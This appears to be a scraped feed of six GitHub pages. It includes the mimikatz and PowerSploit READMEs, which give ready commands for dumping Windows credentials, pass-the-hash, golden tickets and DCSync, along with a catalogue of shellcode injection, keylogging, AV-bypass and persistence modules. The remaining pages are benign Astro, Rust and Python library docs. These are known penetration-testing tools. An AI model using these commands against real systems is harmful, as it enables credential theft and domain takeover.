Roastidio.us in webspace https://github.com/

GitHub - gentilkiwi/mimikatz: A little tool to play with Windows security · GitHub

Sat, 06 Jun 2026 14:38:40 +0000

mimikatz

mimikatz is a tool I've made to learn C and make somes experiments with Windows security.

It's now well known to extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. mimikatz can also perform pass-the-hash, pass-the-ticket or build Golden tickets.

.#####.   mimikatz 2.0 alpha (x86) release "Kiwi en C" (Apr  6 2014 22:02:03)
 .## ^ ##.
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   https://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                    with  13 modules * * */


mimikatz # privilege::debug
Privilege '20' OK
 
mimikatz # sekurlsa::logonpasswords
 
Authentication Id : 0 ; 515764 (00000000:0007deb4)
Session           : Interactive from 2
User Name         : Gentil Kiwi
Domain            : vm-w7-ult-x
SID               : S-1-5-21-1982681256-1210654043-1600862990-1000
        msv :
         [00000003] Primary
         * Username : Gentil Kiwi
         * Domain   : vm-w7-ult-x
         * LM       : d0e9aee149655a6075e4540af1f22d3b
         * NTLM     : cc36cf7a8514893efccd332446158b1a
         * SHA1     : a299912f3dc7cf0023aef8e4361abfc03e9a8c30
        tspkg :
         * Username : Gentil Kiwi
         * Domain   : vm-w7-ult-x
         * Password : waza1234/
...

But that's not all! Crypto, Terminal Server, Events, ... lots of informations in the GitHub Wiki https://github.com/gentilkiwi/mimikatz/wiki or on https://blog.gentilkiwi.com (in French, yes).

If you don't want to build it, binaries are availables on https://github.com/gentilkiwi/mimikatz/releases

Quick usage

log
privilege::debug

sekurlsa

sekurlsa::logonpasswords
sekurlsa::tickets /export

sekurlsa::pth /user:Administrateur /domain:winxp /ntlm:f193d757b4d487ab7e5a3743f038f713 /run:cmd

kerberos

kerberos::list /export
kerberos::ptt c:\chocolate.kirbi

kerberos::golden /admin:administrateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:chocolate.kirbi

crypto

crypto::capi
crypto::cng

crypto::certificates /export
crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE

crypto::keys /export
crypto::keys /machine /export

vault & lsadump

vault::cred
vault::list

token::elevate
vault::cred
vault::list
lsadump::sam
lsadump::secrets
lsadump::cache
token::revert

lsadump::dcsync /user:domain\krbtgt /domain:lab.local

Build

mimikatz is in the form of a Visual Studio Solution and a WinDDK driver (optional for main operations), so prerequisites are:

for mimikatz and mimilib : Visual Studio 2010, 2012 or 2013 for Desktop (2013 Express for Desktop is free and supports x86 & x64 - http://www.microsoft.com/download/details.aspx?id=44914)
for mimikatz driver, mimilove (and ddk2003 platform) : Windows Driver Kit 7.1 (WinDDK) - http://www.microsoft.com/download/details.aspx?id=11800

mimikatz uses SVN for source control, but is now available with GIT too! You can use any tools you want to sync, even incorporated GIT in Visual Studio 2013 =)

Synchronize!

GIT URL is : https://github.com/gentilkiwi/mimikatz.git
SVN URL is : https://github.com/gentilkiwi/mimikatz/trunk
ZIP file is : https://github.com/gentilkiwi/mimikatz/archive/master.zip

Build the solution

After opening the solution, Build / Build Solution (you can change architecture)
mimikatz is now built and ready to be used! (Win32 / x64 even ARM64 if you're lucky)
- you can have error MSB3073 about _build_.cmd and mimidrv, it's because the driver cannot be build without Windows Driver Kit 7.1 (WinDDK), but mimikatz and mimilib are OK.

ddk2003

With this optional MSBuild platform, you can use the WinDDK build tools, and the default msvcrt runtime (smaller binaries, no dependencies)

For this optional platform, Windows Driver Kit 7.1 (WinDDK) - http://www.microsoft.com/download/details.aspx?id=11800 and Visual Studio 2010 are mandatory, even if you plan to use Visual Studio 2012 or 2013 after.

Follow instructions:

Continuous Integration

mimikatz project is available on AppVeyor - https://ci.appveyor.com/project/gentilkiwi/mimikatz

Its status is:

Licence

CC BY 4.0 licence - https://creativecommons.org/licenses/by/4.0/

mimikatz needs coffee to be developed:

PayPal: https://www.paypal.me/delpy/

Author

Benjamin DELPY gentilkiwi, you can contact me on Twitter ( @gentilkiwi ) or by mail ( benjamin [at] gentilkiwi.com )
DCSync and DCShadow functions in lsadump module were co-writed with Vincent LE TOUX, you can contact him by mail ( vincent.letoux [at] gmail.com ) or visit his website ( http://www.mysmartlogon.com )

This is a personal development, please respect its philosophy and don't use it for bad things!

GitHub - PowerShellMafia/PowerSploit: PowerSploit - A PowerShell Post-Exploitation Framework · GitHub

Sat, 06 Jun 2026 14:38:39 +0000

This project is no longer supported

PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment. PowerSploit is comprised of the following modules and scripts:

CodeExecution

Execute code on a target machine.

`Invoke-DllInjection`

Injects a Dll into the process ID of your choosing.

`Invoke-ReflectivePEInjection`

Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process.

`Invoke-Shellcode`

Injects shellcode into the process ID of your choosing or within PowerShell locally.

`Invoke-WmiCommand`

Executes a PowerShell ScriptBlock on a target computer and returns its formatted output using WMI as a C2 channel.

ScriptModification

Modify and/or prepare scripts for execution on a compromised machine.

`Out-EncodedCommand`

Compresses, Base-64 encodes, and generates command-line output for a PowerShell payload script.

`Out-CompressedDll`

Compresses, Base-64 encodes, and outputs generated code to load a managed dll in memory.

`Out-EncryptedScript`

Encrypts text files/scripts.

`Remove-Comment`

Strips comments and extra whitespace from a script.

Persistence

Add persistence capabilities to a PowerShell script

`New-UserPersistenceOption`

Configure user-level persistence options for the Add-Persistence function.

`New-ElevatedPersistenceOption`

Configure elevated persistence options for the Add-Persistence function.

`Add-Persistence`

Add persistence capabilities to a script.

`Install-SSP`

Installs a security support provider (SSP) dll.

`Get-SecurityPackages`

Enumerates all loaded security packages (SSPs).

AntivirusBypass

AV doesn't stand a chance against PowerShell!

`Find-AVSignature`

Locates single Byte AV signatures utilizing the same method as DSplit from "class101".

Exfiltration

All your data belong to me!

`Invoke-TokenManipulation`

Lists available logon tokens. Creates processes with other users logon tokens, and impersonates logon tokens in the current thread.

`Invoke-CredentialInjection`

Create logons with clear-text credentials without triggering a suspicious Event ID 4648 (Explicit Credential Logon).

`Invoke-NinjaCopy`

Copies a file from an NTFS partitioned volume by reading the raw volume and parsing the NTFS structures.

`Invoke-Mimikatz`

Reflectively loads Mimikatz 2.0 in memory using PowerShell. Can be used to dump credentials without writing anything to disk. Can be used for any functionality provided with Mimikatz.

`Get-Keystrokes`

Logs keys pressed, time and the active window.

`Get-GPPPassword`

Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.

`Get-GPPAutologon`

Retrieves autologon username and password from registry.xml if pushed through Group Policy Preferences.

`Get-TimedScreenshot`

A function that takes screenshots at a regular interval and saves them to a folder.

`New-VolumeShadowCopy`

Creates a new volume shadow copy.

`Get-VolumeShadowCopy`

Lists the device paths of all local volume shadow copies.

`Mount-VolumeShadowCopy`

Mounts a volume shadow copy.

`Remove-VolumeShadowCopy`

Deletes a volume shadow copy.

`Get-VaultCredential`

Displays Windows vault credential objects including cleartext web credentials.

`Out-Minidump`

Generates a full-memory minidump of a process.

`Get-MicrophoneAudio`

Records audio from system microphone and saves to disk

Mayhem

Cause general mayhem with PowerShell.

`Set-MasterBootRecord`

Proof of concept code that overwrites the master boot record with the message of your choice.

`Set-CriticalProcess`

Causes your machine to blue screen upon exiting PowerShell.

Privesc

Tools to help with escalating privileges on a target.

`PowerUp`

Clearing house of common privilege escalation checks, along with some weaponization vectors.

Recon

Tools to aid in the reconnaissance phase of a penetration test.

`Invoke-Portscan`

Does a simple port scan using regular sockets, based (pretty) loosely on nmap.

`Get-HttpStatus`

Returns the HTTP Status Codes and full URL for specified paths when provided with a dictionary file.

`Invoke-ReverseDnsLookup`

Scans an IP address range for DNS PTR records.

`PowerView`

PowerView is series of functions that performs network and Windows domain enumeration and exploitation.

Recon\Dictionaries

A collection of dictionaries used to aid in the reconnaissance phase of a penetration test. Dictionaries were taken from the following sources.

admin.txt - http://cirt.net/nikto2/
generic.txt - http://sourceforge.net/projects/yokoso/files/yokoso-0.1/
sharepoint.txt - http://www.stachliu.com/resources/tools/sharepoint-hacking-diggity-project/

License

The PowerSploit project and all individual scripts are under the BSD 3-Clause license unless explicitly noted otherwise.

Usage

Refer to the comment-based help in each individual script for detailed usage information.

To install this module, drop the entire PowerSploit folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable.

The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules" The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules"

To use the module, type Import-Module PowerSploit

To see the commands imported, type Get-Command -Module PowerSploit

If you're running PowerShell v3 and you want to remove the annoying 'Do you really want to run scripts downloaded from the Internet' warning, once you've placed PowerSploit into your module path, run the following one-liner: $Env:PSModulePath.Split(';') | % { if ( Test-Path (Join-Path $_ PowerSploit) ) {Get-ChildItem $_ -Recurse | Unblock-File} }

For help on each individual command, Get-Help is your friend.

Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability.

Contribution Rules

We need contributions! If you have a great idea for PowerSploit, we'd love to add it. New additions will require the following:

The script must adhere to the style guide. Any exceptions to the guide line would need an explicit, valid reason.
The module manifest needs to be updated to reflect the new function being added.
A brief description of the function should be added to this README.md
Pester tests must accompany all new functions. See the Tests folder for examples but we are looking for tests that at least cover the basics by testing for expected/unexpected input/output and that the function exhibits desired functionality. Make sure the function is passing all tests (preferably in mutiple OSes) prior to submitting a pull request. Thanks!

Script Style Guide

For all contributors and future contributors to PowerSploit, I ask that you follow this style guide when writing your scripts/modules.

Avoid Write-Host at all costs. PowerShell functions/cmdlets are not command-line utilities! Pull requests containing code that uses Write-Host will not be considered. You should output custom objects instead. For more information on creating custom objects, read these articles:
- http://blogs.technet.com/b/heyscriptingguy/archive/2011/05/19/create-custom-objects-in-your-powershell-script.aspx
- http://technet.microsoft.com/en-us/library/ff730946.aspx
If you want to display relevant debugging information to the screen, use Write-Verbose. The user can always just tack on '-Verbose'.
Always provide descriptive, comment-based help for every script. Also, be sure to include your name and a BSD 3-Clause license (unless there are extenuating circumstances that prevent the application of the BSD license).
Make sure all functions follow the proper PowerShell verb-noun agreement. Use Get-Verb to list the default verbs used by PowerShell. Exceptions to supported verbs will be considered on a case-by-case basis.
I prefer that variable names be capitalized and be as descriptive as possible.
Provide logical spacing in between your code. Indent your code to make it more readable.
If you find yourself repeating code, write a function.
Catch all anticipated errors and provide meaningful output. If you have an error that should stop execution of the script, use 'Throw'. If you have an error that doesn't need to stop execution, use Write-Error.
If you are writing a script that interfaces with the Win32 API, try to avoid compiling C# inline with Add-Type. Try to use the PSReflect module, if possible.
Do not use hardcoded paths. A script should be useable right out of the box. No one should have to modify the code unless they want to.
PowerShell v2 compatibility is highly desired.
Use positional parameters and make parameters mandatory when it makes sense to do so. For example, I'm looking for something like the following:
- [Parameter(Position = 0, Mandatory = $True)]
Don't use any aliases unless it makes sense for receiving pipeline input. They make code more difficult to read for people who are unfamiliar with a particular alias.
Try not to let commands run on for too long. For example, a pipeline is a natural place for a line break.
Don't go overboard with inline comments. Only use them when certain aspects of the code might be confusing to a reader.
Rather than using Out-Null to suppress unwanted/irrelevant output, save the unwanted output to $null. Doing so provides a slight performance enhancement.
Use default values for your parameters when it makes sense. Ideally, you want a script that will work without requiring any parameters.
If a script creates complex custom objects, include a ps1xml file that will properly format the object's output.

Be more explicit about cookie deletion by whitep4nth3r · Pull Request #8476 · withastro/docs · GitHub

Sat, 06 Jun 2026 14:14:41 +0000

Copy link Copy Markdown

vercel Bot commented Jun 10, 2024 •

edited

Loading

Uh oh!

There was an error while loading. Please reload this page.

The latest updates on your projects. Learn more about Vercel for Git ↗︎

Name	Status	Preview	Updated (UTC)
docs	❌ Failed (Inspect)		Jun 10, 2024 5:27pm

All reactions

Sorry, something went wrong.

Uh oh!

There was an error while loading. Please reload this page.

Copy link Copy Markdown

Contributor

astrobot-houston commented Jun 10, 2024

Hello! Thank you for opening your first PR to Astro’s Docs! 🎉

Here’s what will happen next:

Our GitHub bots will run to check your changes.
If they spot any broken links you will see some error messages on this PR.
Don’t hesitate to ask any questions if you’re not sure what these mean!
In a few minutes, you’ll be able to see a preview of your changes on Vercel 🥳
One or more of our maintainers will take a look and may ask you to make changes.
We try to be responsive, but don’t worry if this takes a few days.

All reactions

Sorry, something went wrong.

Uh oh!

There was an error while loading. Please reload this page.

Copy link Copy Markdown

Contributor

astrobot-houston commented Jun 10, 2024 •

edited

Loading

Uh oh!

There was an error while loading. Please reload this page.

Lunaria Status Overview

🌕 This pull request will trigger status changes.

Learn more

By default, every PR changing files present in the Lunaria configuration's files property will be considered and trigger status changes accordingly.

You can change this by adding one of the keywords present in the ignoreKeywords property in your Lunaria configuration file in the PR's title (ignoring all files) or by including a tracker directive in the merged commit's description.

Tracked Files

Locale	File	Note
en	reference/api-reference.mdx	Source changed, localizations will be marked as outdated.

Warnings reference

Icon	Description
🔄️	The source for this localization has been updated since the creation of this pull request, make sure all changes in the source have been applied.

All reactions

Sorry, something went wrong.

Uh oh!

There was an error while loading. Please reload this page.

sarah11918 approved these changes Jun 10, 2024

View reviewed changes

Copy link Copy Markdown

Member

sarah11918 left a comment

There was a problem hiding this comment.

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thank you @whitep4nth3r for adding some very helpful context to our docs! We are so pleased (and can't believe it took this long!!) to welcome you to Team Docs! 🥳

Sorry, something went wrong.

Uh oh!

There was an error while loading. Please reload this page.

mau-oati reacted with hooray emoji whitep4nth3r reacted with rocket emoji

All reactions

🎉 1 reaction
🚀 1 reaction

vercel Bot deployed to Preview – docs June 10, 2024 17:27 View deployment

sarah11918 merged commit 786a998 into withastro:main Jun 10, 2024

jsparkdev mentioned this pull request Jun 11, 2024

i18n(ko-KR): update api-reference.mdx #8484

Merged

liruifengv mentioned this pull request Jun 13, 2024

i18n(zh-cn): update api-reference.mdx #8505

Merged

sarah11918 added the feedback-improvement Response to widget/Discord feedback label Aug 14, 2024

GitHub - nowaythatworked/auth-astro: Community maintained Astro integration of @auth/core · GitHub

Sat, 06 Jun 2026 14:14:40 +0000

Auth Astro

Auth Astro is the easiest way to add Authentication to your Astro Project. It wraps the core of Auth.js into an Astro integration, which automatically adds the endpoints and handles everything else.

Now supporting up to Astro 5

(disclaimer: Please don't confuse this package with astro-auth)

Installation

The easiest way to get started is adding this package using the astro cli.

npm run astro add auth-astro

This will install the package and required peer-dependencies and add the integration to your config. You can now jump to configuration

Alternatively, you can install the required packages on your own.

npm install auth-astro@latest @auth/core@^0.18.6

Note

If you´re using pnpm you must also install cookie: pnpm i cookie

Next, you need to add the integration to your astro config by importing it and listing it in the integrations array.

Configuration

Create your auth configuration file in the root of your project.

Some OAuth Providers request a callback URL be submitted alongside requesting a Client ID, and Client Secret. The callback URL used by the providers must be set to the following, unless you override the prefix field in the configuration:

[origin]/api/auth/callback/[provider]

// example
// http://localhost:4321/api/auth/callback/github

Setup Environment Variables

Generate an auth secret by running openssl rand -hex 32 in a local terminal or by visiting generate-secret.vercel.app, copy the string, then set it as the AUTH_SECRET environment variable describe below.

Next, set the AUTH_TRUST_HOST environment variable to true for hosting providers like Cloudflare Pages or Netlify.

AUTH_SECRET=<auth-secret>
AUTH_TRUST_HOST=true

Deploying to Vercel?

Setting AUTH_TRUST_HOST is not needed, as we also check for an active Vercel environment.

Requirements

Node version >= 17.4
Astro config set to output mode server
SSR enabled in your Astro project

Resources:

Usage

Your authentication endpoints now live under [origin]/api/auth/[operation]. You can change the prefix in the configuration.

Accessing your configuration

In case you need to access your auth configuration, you can always import it by

import authConfig from 'auth:config'

Sign in & Sign out

Astro Auth exposes two ways to sign in and out. Inline scripts and Astro Components.

With Inline script tags

The signIn and signOut methods can be imported dynamically in an inline script.

---
---
<html>
<body>
  <button id="login">Login</button>
  <button id="logout">Logout</button>

  <script>
    const { signIn, signOut } = await import("auth-astro/client")
    document.querySelector("#login").onclick = () => signIn("github")
    document.querySelector("#logout").onclick = () => signOut()
  </script>
</body>
</html>

With auth-astro's Components

Alternatively, you can use the SignIn and SignOut button components provided by auth-astro/components importing them into your Astro component's script

Fetching the session

You can fetch the session in one of two ways. The getSession method can be used in the component script section to fetch the session.

Within the component script section

Within the Auth component

Alternatively, you can use the Auth component to fetch the session using a render prop.

---
import type { Session } from '@auth/core/types';
import { Auth, SignIn, SignOut } from 'auth-astro/components';
---
<Auth>
  {(session: Session) => 
    {session ? 
      <SignOut>Logout</SignOut>
    :
      <SignIn provider="github">Login</SignIn>
    }

    <p>
      {session ? `Logged in as ${session.user?.name}` : 'Not logged in'}
    </p>
  }
</Auth>

State of Project

We currently are waiting for the PR in the official next-auth repository to be merged. Once this has happened, this package will be deprecated.

Contribution

Waiting on the PR to be merged means, we can still add new features to the PR, so, if you miss anything feel free to open a PR or issue in this repo, and we will try to get it added to the official package.

GitHub - stencillogic/astro-float: Arbitrary precision floating point numbers library · GitHub

Sat, 06 Jun 2026 05:32:07 +0000

Branches Tags

Open more actions menu

Folders and files

Name		Name	Last commit message	Last commit date
Latest commit History 562 Commits 562 Commits
.github/workflows		.github/workflows
astro-float-macro		astro-float-macro
astro-float-num		astro-float-num
doc		doc
src		src
tests		tests
.gitignore		.gitignore
.rusty-hook.toml		.rusty-hook.toml
CONTRIBUTING.md		CONTRIBUTING.md
Cargo.toml		Cargo.toml
LICENSE		LICENSE
README.md		README.md
RELEASE_NOTES.md		RELEASE_NOTES.md
rustfmt.toml		rustfmt.toml

Repository files navigation

Astro-float (astronomically large floating-point numbers) is an arbitrary precision floating-point numbers library designed for performance, portability, and implemented purely in Rust.

The library implements the basic operations and functions. It uses classical algorithms such as Karatsuba, Toom-Cook, Schönhage-Strassen algorithm, and others.

The library can work without the standard library provided there is a memory allocator.

What's new

Information about the latest changes is available in Release notes

Usage

Below is an example of using the library. For more information please refer to the library documentation: https://docs.rs/astro-float/latest/astro_float/

Calculate Pi with 1024 bit precision rounded to the nearest even number.

use astro_float::Consts;
use astro_float::RoundingMode;
use astro_float::ctx::Context;
use astro_float::expr;

// Create a context with precision 1024, and rounding to even.
let mut ctx = Context::new(1024, RoundingMode::ToEven, 
    Consts::new().expect("Constants cache initialized"),
    -10000, 10000);

// Compute pi: pi = 6*arctan(1/sqrt(3))
let pi = expr!(6 * atan(1 / sqrt(3)), &mut ctx);

// Use library's constant value for verifying the result.
let pi_lib = ctx.const_pi();

// Compare computed constant with library's constant
assert_eq!(pi.cmp(&pi_lib), Some(0));

Performance

Benchmark can be found here: https://github.com/stencillogic/bigfloat-bench.

Contributing

Issues regarding bugs or new features can be opened here: https://github.com/stencillogic/astro-float/issues

For more information please check CONTRIBUTING.md

About

Arbitrary precision floating point numbers library

Topics

rust arbitrary-precision bigfloat multiple-precision

Resources

Readme

License

MIT license

Contributing

Uh oh!

There was an error while loading. Please reload this page.

Activity

Uh oh!

There was an error while loading. Please reload this page.

Contributors

Uh oh!

There was an error while loading. Please reload this page.

Languages

Rust 100.0%

GitHub - siravan/symjit · GitHub

Sat, 06 Jun 2026 05:32:07 +0000

Introduction

Release Notes

SymJit is a lightweight just-in-time (JIT) compiler that directly translates SymPy expressions into machine code without using a separate library such as LLVM. Its main utility is to generate fast numerical functions to feed into various numerical solvers provided by the NumPy/SciPy ecosystem, including numerical integration routines, ordinary differential equation (ODE) solvers, and image filtering functions. It is also able to generate LowLevelCallable functions for better coupling to certain fast Scipy numerical functions.

SymJit has two different code-generating backends. The default is a Rust library with minimum external dependencies. The Rust backend generates AMD64 (also known as x86-64), ARM64 (also known as aarch64), and 64-bit RISC-V (riscv64) machine code on Linux, Windows, and Darwin (MacOS) platforms. The Python backend is written in plain Python, relies solely on the Python standard library and NumPy, is considered obsolete, and will be moved to a separate package as of version 3.0.

The Rust backend generates AVX-compatible code by default for x86-64/AMD64 processors but can downgrade to SSE2 instructions if the processor does not support AVX or if explicitly requested by passing ty='amd-sse' to compile functions (see below). SSE2 instructions were introduced in 2000, meaning that virtually all current 64-bit x86-64 processors support them. Intel introduced the AVX instruction set in 2011; therefore, most processors support it. In version 3.0, Symjit will move to a minimum of x86-64-v3 profile.

On ARM64 processors, both the Rust and Python backends generate code for the aarch64 instruction set. ARM32 and IA32 are not supported.

SymJit has three companion packages:

FuncBuilder provides a more general code generator akin to llvmlite. It is currently in the early stages of development.
SymJit.jl is a Julia wrapper around the SymJit's Rust library and works with Julia Symbolics.
JitEngine.jl is a port of the Symjit's code generator to Julia with no binary dependecy. Similar to SymJit.jl, it works and uses Julia Symbolics.

Moreover, SymJit can also generate JIT code for the Symbolica computer algebra system.

Installing symjit

Installing SymJit from the conda-forge channel can be achieved by adding conda-forge to your channels with:

conda config --add channels conda-forge
conda config --set channel_priority strict

Once the conda-forge channel has been enabled, SymJit can be installed with conda:

conda install symjit

After installation, you can update to the latest version by:

conda update -c conda-forge symjit

Another way to install SymJit is to use mamba:

mamba install symjit

It is possible to list all of the versions of SymJit available on your platform with conda:

conda search symjit --channel conda-forge

or with mamba:

mamba search symjit --channel conda-forge

Alternatively, mamba repoquery may provide more information:

# Search all versions available on your platform:
mamba repoquery search symjit --channel conda-forge

# List packages depending on `symjit`:
mamba repoquery whoneeds symjit --channel conda-forge

# List dependencies of `symjit`:
mamba repoquery depends symjit --channel conda-forge

You can also install symjit from pypi using pip:

python -m pip install symjit

However, the pip install may not include the correct binary Rust backend for different platforms and the conda-forge install is preferable.

Currently, RISC-V binaries are not available from conda-forge. If you want to use SymJit on a RISC-V computer, you need to compile it from the source. See Compilation for details.

cd symjit
python -m pip install .

For the last option, you need a working Rust compiler and toolchains.

Tutorial

`compile_func`: a fast substitute for `lambdify`

SymJit is invoked by calling different compile_* functions (or load a previously compiled function using load_func, see below). The most basic is compile_func, which behaves similarly to SymPy lambdify function. While lambdify translates SymPy expressions into regular Python functions, which in turn call numpy functions, compile_func returns a callable object Func, which is a thin wrapper over the jit code generated by the backends.

A simple example is

compile_* functions support these operators and functions.

compile_func takes two mandatory arguments as compile_func(states, eqs). The first one, states, is a list or tuple of SymPy symbols. The second argument, eqs, is a list, a tuple, or a single expression. We can think of states and eqs as corresponding to function signature and body.

If states has only one element, it can be passed directly. Similar to SymPy lambdify, the output follows the form of the second argument to compile_func. Therefore, if f = compile_func([x, y], [x+y, x*y]), then f(2, 3) returns a list. On the other hand, if f = compile_func([x, y], (x+y, x*y)), the output will be (5, 6). The third form is a single scalar, such as if f = compile_func([x, y], sin(x+y)).

In addition, compile_func accepts a named argument params, which is a list of symbolic parameters. The output of compile_func, say f, is a callable object of type Func. The signature of f is f(x_1,...,x_n,p_1,...,p_m), where xs are the state variables and ps are the parameters. Therefore, n = len(states) and m = len(params). For example,

By default, compile_func uses the Rust backend. However, we can force the use of the Python backend by passing backend='python' to compile_func. Moreover, if the binary library containing the Rust backend is unavailable or incompatible, symjit automatically switches to the Python backend. Note that the Python backend will be removed in version 3 of Symjit.

compile_func helps generate functions to pass to numerical integration (quadrature) routines. The following example is adapted from scipy documentation:

The output of the returned callable is a numpy array with dtype='double'. Note that you can call f by passing a list of numbers (say, f(1.0, 2.0)) or a list of numpy arrays (for example, f(np.asarray([1., 2.]), np.asarray([3., 4.])). However, broadcasting is not supported. All the parameters should be passed as scalars even if the state variables are arrays. For example,

The following example uses the vectorization feature to calculate the Mandelbrot set.

# examples/mandelbrot.py
import numpy as np
import matplotlib.pyplot as plt
from sympy import symbols
from symjit import compile_func

x, y, a, b = symbols("x y a b")

A, B = np.meshgrid(np.arange(-2, 1, 0.002), np.arange(-1.5, 1.5, 0.002))
X = np.zeros_like(A)
Y = np.zeros_like(A)

f = compile_func([a, b, x, y], [x**2 - y**2 + a, 2*x*y + b])

for i in range(20):
    X, Y = f(A, B, X, Y)

Z = np.hypot(X, Y)

plt.imshow(Z < 2)

The output is:

Complex Numbers

Symjit supports complex numbers by passing dtype = "complex128" to compile functions:

import numpy as np
from symjit import compile_func
from sympy import symbols

x, y = symbols('x y')
f = compile_func([x, y], [x+y, x*y], dtype = "complex128")
assert(np.all(f(1 + 2j, 3 - 1j) == [4+1j, 5+5j]))

f = compile_func([x, y], sin(x) + y*sinh(x*y), dtype="complex128")  # fast function
assert(f(2, 1j) == 0)

Optimization

The Rust backend supports different optimization methods, which can be controlled using compile_func arguments. See Optimization for details.

`compile_ode`: to solve ODEs

compile_ode returns a callable object (OdeFunc) suitable for passing to scipy.integrate.solve_ivp (the main Numpy/Scipy ODE solver). It takes three mandatory arguments as compile_ode(iv, states, odes). The first one (iv) is a single symbol that specifies the independent variable. The second argument, states, is a list of symbols defining the ODE state. The right-hand side of ODE equations is passed as the third argument, odes. It is a list of expressions that define the ODE by providing the derivative of each state variable with respect to the independent variable. In addition, similar to compile_func, compile_ode can accept an optional params. For example,

# examples/trig.py
import scipy.integrate
import matplotlib.pyplot as plt
import numpy as np
from sympy import symbols
from symjit import compile_ode

t, x, y = symbols('t x y')
f = compile_ode(t, (x, y), (y, -x))
t_eval=np.arange(0, 10, 0.01)
sol = scipy.integrate.solve_ivp(f, (0, 10), (0.0, 1.0), t_eval=t_eval)

plt.plot(t_eval, sol.y.T)

Here, the ODE definition is x' = y and y' = -x, which means y" = y. The solution is a*sin(t) + b*cos(t), where a and b are determined by the initial values. Given the initial values of 0 and 1 passed as the third argument of solve_ivp, the solutions are sin(t) and cos(t). We can confirm this by running the code. The output is

Note that OdeFunc conforms to the function form scipy.integrate.solve_ivp expects, i.e., it should be called as f(t, y, *args).

The following example is more complicated and showcases the Lorenz system, an important milestone in the historical development of chaos theory.

import numpy as np
from scipy.integrate import solve_ivp
import matplotlib.pyplot as plt
from sympy import symbols

from symjit import compile_ode

t, x, y, z = symbols("t x y z")
sigma, rho, beta = symbols("sigma rho beta")

ode = (
    sigma * (y - x),
    x * (rho - z) - y,
    x * y - beta * z
    )

f = compile_ode(t, (x, y, z), ode, params=(sigma, rho, beta))

u0 = (1.0, 1.0, 1.0)
p = (10.0, 28.0, 8 / 3)
t_eval = np.arange(0, 100, 0.01)

sol = solve_ivp(f, (0, 100.0), u0, t_eval=t_eval, args=p)

plt.plot(sol.y[0, :], sol.y[2, :])

The result is the famous strange attractor:

`compile_jac`: calculating Jacobian

The ODE examples discussed in the previous section are non-stiff and easy to solve using explicit methods. However, not all differential equations are so accommodating! Many important equations are stiff and usually require implicit methods. Many implicit ODE solvers use the system's Jacobian matrix to improve performance.

There are different techniques for calculating the Jacobian. In the last few years, automatic differentiation (AD) methods have gained popularity, working at the abstract syntax tree or lower level. However, if we define our model symbolically using a Computer Algebra System (CAS) such as SymPy, we can calculate the Jacobian by differentiating the source symbolic expressions.

compile_jac is the symjit function to calculate the Jacobian of an ODE system. It has the same call signature as compile_ode, i.e., it is called compile_jac(iv, states, odes) with an optional argument params. The return value (of type JacFunc) is a callable similar to OdeFunc, which returns an n-by-n matrix J, where n is the number of states. The element at the ith row and jth column of J is the derivative of odes[i] w.r.t state[j] (this is the definition of Jacobian).

For example, we can consider the Van der Pol oscillator. This system has a control parameter (mu). For small values of mu, the ODE system is not stiff and can easily be solved using explicit methods.

import matplotlib.pyplot as plt
import numpy as np
from scipy.integrate import solve_ivp
from sympy import symbols
from math import sqrt
from symjit import compile_ode, compile_jac

t, x, y, mu = symbols('t x y mu')
ode = [y, mu * ((1 - x*x) * y - x)]

f = compile_ode(t, [x, y], ode, params=[mu])
u0 = [0.0, sqrt(3.0)]
t_eval = np.arange(0, 10.0, 0.01)

sol1 = solve_ivp(f, (0, 10.0), u0, method='RK45', t_eval=t_eval, args=[5.0])

plt.plot(t_eval, sol1.y[0,:])

The output is

On the other hand, as mu is increased (for example, to 1e6), the system becomes very stiff. An explicit ODE solver, such as RK45 (Runge-Kutta 4/5), cannot solve this problem. Instead, we need an implicit method, such as the backward differentiation formula (BDF). BDF needs a Jacobian. If one is not provided, it numerically calculates one using the finite-difference method. However, this technique is both inaccurate and computationally intensive. It would be much better to give the solver a closed-form Jacobian. As mentioned above, calculate_jac exactly does this.

The output of the stiff system is

Advanced Features

Explicit Looping

SymJit supports construction of explicit loops using Sum and Product operators. The syntax follows sympy's syntax. For example, we can define the factorial function as

The looping operators can be nested:

Note that for Sum and Product, the range follows the mathematical convention of including the last expression, i.e., (x, 1, 3) means x assumes values of 1, 2, 3.

Calling Other Functions

SymJit also allows calling other simple SymJit or Python functions. Currently, only functions that accept one or two double arguments and return a double result are supported; therefore, only SymJit functions defined as fast as allowed, see Optimization. To pass a function, we need to define a placeholder symbol using SymPy's Function constructor. Then, we pass a dictionary of Functions and their definitions as an argument defuns to compile_* functions. For example, we can rewrite my_exp function above as

It is also possible to pass Python functions:

def print_res(x, y):
    print(x, ': ', y)
    return x

P = Function('P')
f = compile_func([x], Sum(P(y, sin(y)), (y, 1, x)), defuns={P: print_res})

f(5)    # returns
# 1.0 :  0.8414709848078965
# 2.0 :  0.9092974268256817
# 3.0 :  0.1411200080598672
# 4.0 :  -0.7568024953079282
# 5.0 :  -0.9589242746631385
# 15.0

Warning! When use_threads option is set to True (which is the default), SymJit uses multi-threading for array inputs. Calling a Python function in this situation can cause all sort of problems because of the Global Interpreter Lock (GIL). Python 3.14 has removed GIL; therefore, multi-threading is possible, but still needs extreme caution due to various race conditions. Used correctly, SymJit multi-threading can be useful as a thread-dispatcher; however, preventing race condition is the responsibility of the user.

Code Generation

All compile_* functions accept an optional parameter ty, which defines the type of the code to generate. Currently, the possible values are:

amd: generates 64-bit AMD64/x86-64 code. If the processor supports AVX, then this is equivalent to passing amd-avx; otherwise, it is equal to amd-sse.
